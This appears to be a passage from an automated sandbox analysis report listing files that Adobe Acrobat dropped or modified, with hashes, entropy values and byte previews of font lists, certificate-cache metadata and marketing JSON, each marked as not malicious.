SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.725632412434545
Encrypted:	false
SSDEEP:	3:kkFklAN7llltfllXlE/HT8k9khl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKZNJeT86aNMa8RdWBwRd
MD5:	D104C050C133485B1B895E0E596BD5CE
SHA1:	4DB3DD12A0F2B39CD075CF686843CA3CE1C9EEF4
SHA-256:	1586248ED8B85A3ED983CD39324A51F7E2F70BC3B47F976D0DF45747AFD684D7
SHA-512:	7A6D928D9A656024291C0592BEFA7A5D75497D26E4150996B0F1031E7D89D916A8368ED9563F03625C4EB19396829CB61B4FD89E1F9058BDEE714F16D11C1BD0
Malicious:	false
Preview:	p...... .........hztec..(....................................................... ..........W....oC..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1272885043655076
Encrypted:	false
SSDEEP:	6:kKvTL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:TiDnLNkPlE99SNxAhUe/3
MD5:	25C5600F9B6EEF271E89D481669BD83A
SHA1:	2EFFDEF496E7C1CEFE56244B26FF11FF62BBDB20
SHA-256:	186CAFDB850731EE16D70EED1772334A24CAA8E3D7FB99BEB6D7AC6763EE1C36
SHA-512:	CACC263A052D180650C5AAAC21D52AC76ACB3C688367923FC38271B5D60D55B93857D9F364D3B1D9094628C062741F9B39B567B34D315B4AD0274F35CBF76F51
Malicious:	false
Preview:	p...... ........$...ec..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.342580407728167
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJM3g98kUwPeUkwRe9:YvXKXZHfUYpW722sGMbLUkee9
MD5:	31313E1A89BEFA427BD68981D0BC8204
SHA1:	40E2723017E2B2D8A5CD04DF54A963D5E426B920
SHA-256:	C548137D2D3B779529B13A607745443EEA435EEBFE98200499E33C231A04C7C8
SHA-512:	1C555208188C887A4CB24093FA263913A786CD2FB332126AAC43BB4383A56156DDC488366DCC5E39CD4DB892912CEFA70DBE9E0CB36CDD67B1C464A6530B74E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.283353678274266
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfBoTfXpnrPeUkwRe9:YvXKXZHfUYpW722sGWTfXcUkee9
MD5:	CB35AC2AB42609CE4505CE69DF156C0C
SHA1:	61DEA1F306C8B4469C890D0E49637EDDBE055992
SHA-256:	9B0429B48F2155C97CE73F89D4CBD22807987B9C16480566D17448459FF84C87
SHA-512:	D06EF21999F6BFB136E814B086C2444BAE6F097D3382AEE3427BA144A51EA078E8E30A9B07E09029BBBD5B33803A0AF94916631A8EE525A25AEC0E05FBF652A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.261752997142697
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfBD2G6UpnrPeUkwRe9:YvXKXZHfUYpW722sGR22cUkee9
MD5:	D20FCB494478268966531A49C58281A2
SHA1:	E67BBF22A249B5F057CDE0AFD846EC7D7316F122
SHA-256:	A76FF5E7D3D26C1A537AA82A6ECA56E0AFEC326387CF5C4E28B5F151C51D9BE7
SHA-512:	61F3C2277BEF4A7116970D5D4876E036FF963CF02EF1B47BA166C763CD6679DC15B22BC306B34CF4B07FB3C8D8B2DC6E72E6AE8805FEAD4ECAC44A71E5B214B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32074405806319
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfPmwrPeUkwRe9:YvXKXZHfUYpW722sGH56Ukee9
MD5:	2FC1AC35A3259B0CA1C8CFB1D2704F38
SHA1:	6712ABBFDE34EB2337314FE55B786765A426DDE0
SHA-256:	2B698B49B5471E0CC408FC39EA351AA816CB1503B57BB66C4649387DBE2CB2E0
SHA-512:	81EA94F1676581E4931A69D37D3FE487EFBE69CD53448B69401466DA4CED45858185574DA154B7D0DD6BE2C079B81B3E4A20E77B8D040E7C60752BA37BAF89DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690443343805341
Encrypted:	false
SSDEEP:	24:Yv6XZtidJpLgE9cQx8LennAvzBvkn0RCmK8czOCCSD1:YvFdJhgy6SAFv5Ah8cv/x
MD5:	6F296015FDDBDA62CCBF2C06EC94BA44
SHA1:	CF85BB1F8ED4D04F3397424ECD9346879653B3FE
SHA-256:	345FAD398F184FF333D519E0321639CF3AC329ED168654D717704FCB609E32DE
SHA-512:	3ED7B06C93353ACAB33420251AA55B8AE5B3894DD08B399B715D0CE94377C0A4BB2DF900EA02B28B3189C116F9B2A83DD6F9A6AC2280C7494A1A7ACEF4AF81D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2676052447341
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJf8dPeUkwRe9:YvXKXZHfUYpW722sGU8Ukee9
MD5:	82845DA9585199D10216BFE324B50A44
SHA1:	D018291521FD3D862C2CB49E737B1653B22F3F51
SHA-256:	5F4C152432D8F0A966A79DF47887C780C09E0C9DBCACBCEC39D238AF2BEC3961
SHA-512:	09D87963E313C01C77CE7C12444F60901F007D487331C207F5D8E2A6629587ADFB75D1302D08975F37FFA77D84406E83C4A1B6AB375C392D75E00828193E9CAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.269511263756922
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfQ1rPeUkwRe9:YvXKXZHfUYpW722sGY16Ukee9
MD5:	1070FB2165AA522C0B1EF211399D3E65
SHA1:	B6ED03B74C718A4DDD4091C7F56DFA61945085AA
SHA-256:	E7E61661D2E4E662B4C471865901E94A745FC4A2E31007981D8FF5DA0D47039F
SHA-512:	90E690DFBD65F05D1450A98A98C3BD3A9274B3C28325B763C4C6F1998C4EF61EE18312A20DAA5AF237071DB496B0CFE9561784AED323FF299B32BF3862697BB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.287622266135661
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfFldPeUkwRe9:YvXKXZHfUYpW722sGz8Ukee9
MD5:	8FA3BF2BE1017A2C2033DAEEF1878F5F
SHA1:	DA6DC661C785E6C9ECB4076083278D9AB8E34323
SHA-256:	D3ECABB23E94F8EA89442A0578249ED881BF6329BC60DB8103395D16C71EE63A
SHA-512:	95FE0869F236353F79C0244D4D04E9EFB397CA9C18211A32708E767F3FDDE4D20C7DF19CBCC98421C79BDF719A04F00E36DC2E23199274C721B99BFE41A05F4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2955343851313526
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfzdPeUkwRe9:YvXKXZHfUYpW722sGb8Ukee9
MD5:	27ACDD7EF6DE86EDACF412EA82EF7DED
SHA1:	AA1BA468698BC5112358735B8AF0B98EB594A113
SHA-256:	EF0E924BE3AB732924BB78E4A075C99DD5B808C4776BBC912129408A54C286D5
SHA-512:	964B06D238A9DD1F497605F0B0283BA19ADB269AC52D721BB346BC950FFA0D9BA7D1303B6923C25F1DB453D0E599202C63EF1B1588FA54737D2CE9510F453DBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275683403286619
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJfYdPeUkwRe9:YvXKXZHfUYpW722sGg8Ukee9
MD5:	FF80E14E7400FF58FF8B1BDAF0F57B81
SHA1:	F2E3783CB29D77B581426B50800BB6AA50B5FE26
SHA-256:	33BA3942428903A5BCA071EF76545DEAEC9CD077483BAE7DA2CA38FABD4FD73E
SHA-512:	3E5ABCFBF2BEA19CFC50F5F8E783D277C4672E063831F067DCD7DC345FCBF5857CBD8A0522AC73D3E25A8787FE234AC8B17A68D37C42A0C9F77EA5991390F85E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.260987965479385
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3luOMGRVx+FIbRI6XVW7+0Yp2DoAvJf+dPeUkwRe9:YvXKXZHfUYpW722sG28Ukee9
MD5:	363042A8A7245FE7362FEDEE35E4E0FF
SHA1:	ED2F91F22C6BCDB12411CF2896C23D6B9CA1B5BC
SHA-256:	738A5CDDCAD96DBE9F8978B352087FF5F39749196EB6ABD30FD5F97B14EBFBD3
SHA-512:	96A8FC36A183CC17DF9033C08D660F338C0A5BA07927B088408BDCD92892FA63729BCD59642ADEE59B3202C550A522BCC59F317909D55908078FCAB5E9567BA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"77b2460a-5d86-4015-a5b8-f5d2208cfb64","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736696220140,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.259397625336519
Encrypted:	false
